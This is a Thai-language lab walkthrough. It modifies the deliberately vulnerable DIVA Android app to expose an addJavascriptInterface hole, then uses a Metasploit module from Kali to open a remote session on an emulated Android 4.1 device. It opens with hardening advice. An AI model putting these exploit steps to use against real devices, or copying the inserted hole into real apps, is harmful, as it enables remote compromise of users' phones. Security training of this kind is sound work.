บทนำ (Overview)
บทความนี้อธิบายถึงการโจมตีช่องโหว่ของการที่นักพัฒนาใช้งาน “addJavascriptInterface” แต่การที่จะสำเร็จได้นั้นก็ขึ้นอยู่ API < 17 ซึ่งในปัจจุบันเครื่องต่าง ๆ มี “Android version” มากกว่า “4.2” และ “>17” อยู่แล้ว แต่อย่างไรก็ตามในตัวการใช้งานฟังก์ชันสำหรับการพัฒนาโปรแกรมก็ยังแนะนำให้ปิดร่วมกับ “setJavaScriptEnabled” ถ้าไม่จำเป็นต้องใช้ แต่ถ้าจำเป็นต้องใช้งานจริง ๆ ตัว “Website” ที่นำมาใช้กับ “Webview” นั้น ๆ จะต้อง “Manage” จัดการเองได้ไม่มี “Third Party” เข้ามาร่วมด้วย เพื่อลดความเสี่ยงลง
วัตถุประสงค์ของ “addJavascriptInterface API” ก็เพื่อให้ “Webview” สามารถที่จะใช้ “JavaScript code” เรียกใช้งาน “Java’s code” ของ “Android” ได้ เพราะฉะนั้นโปรแกรมจะต้อง “Register” ในส่วนของ “Java object” ต่าง ๆ ไว้ก่อน ผ่าน “API” ดังกล่าวเสียก่อน และทุก ๆ “Public Method” ใน “Java Object” นั้น ๆ สามารถถูกเรียกได้จาก “JavaScript” ภายใน “Webview”
ขั้นตอน (Steps)
- ติดตั้งโปรแกรม How to install Android Studio เราจะใช้เพื่อติดตั้ง “Android” ที่มี “Version” ต่ำกว่า < 4.2 (API Level 17)
- สำหรับบทความนี้สร้าง “AVD” ของ “Nexus 5X API 16 Android 4.1 ” How to start Android Emulator (AVD)
- เราจะสร้างโปรแกรมให้มีช่องโหว่โดยเพิ่ม “Code” ของ “addJavascriptInterface” เข้าไป โดยแก้ไข “Source Code” ของโปรแกรมช่องโหว่ “DIVA” ในส่วน “InputValidation2URISchemeActivity”
package jakhar.aseem.diva; import android.app.AlertDialog; import android.content.DialogInterface; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import android.widget.EditText; //Import JavaScriptInterface เข้ามา import android.webkit.JavascriptInterface; public class InputValidation2URISchemeActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_input_validation2_urischeme); WebView wview = (WebView) findViewById(R.id.ivi2wview); WebSettings wset = wview.getSettings(); wset.setJavaScriptEnabled(true); } public void get(View view) { EditText uriText = (EditText) findViewById(R.id.ivi2uri); WebView wview = (WebView) findViewById(R.id.ivi2wview); //เพิ่ม Medthod ของ addJavascriptInterface ที่เป็นช่องโหว่ wview.addJavascriptInterface(new JavaScriptInterface(), "TEST"); wview.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } @Override public void onPageFinished(WebView view, String url) { //Javascript } }); wview.loadUrl(uriText.getText().toString()); } //สร้าง Class สำหรับ Register Java Object public class JavaScriptInterface { @JavascriptInterface public void processHTML(String html) { } } }
- เมื่อเราได้โปรแกรมที่มีช่องโหว่เรียบร้อยแล้ว ให้ลอง “Run Emulator” ขึ้นมาโดยกดปุ่ม “Play” ดังรูป
- ให้ไปที่เมนูที่ชื่อ “8. Input Validation Issues – Part2” ทิ้งไว้ก่อนดังรูป
- ใช้งาน Kali เพื่อสร้าง URL สำหรับ Exploit โดยเริ่มจากตรวจสอบ IP ของ Kali เสียก่อน
ifconfig
- จากนั้นเรียกใช้งาน “Metasploit” โดยใช้คำสั่ง
msfconsole
- เรียกใช้งาน “Exploit” ดังนี้
use exploit/android/browser/webview_addjavascriptinterface
- ตั้งค่าต่าง ๆ ให้เรียบร้อย
//IP ของ Kali set lhost 192.168.1.36 //Fix Path set uripath test //เริ่มต้นเปิด Listener และ Url สำหรับ exploit exploit
- ให้เอา “URL” ที่ “Local IP” ไปใส่ในโปรแกรมช่องโหว่ที่เราสร้างขึ้น จะพบว่ามีการ “Session” เกิดขึ้น
- เราสามารถเข้าถึงเครื่อง “Android” ได้ผ่านช่องโหว่ดังกล่าว ส่วนคำสั่งอื่นๆ สามารถติดตามได้จากบทความ How to exploit Android with Kali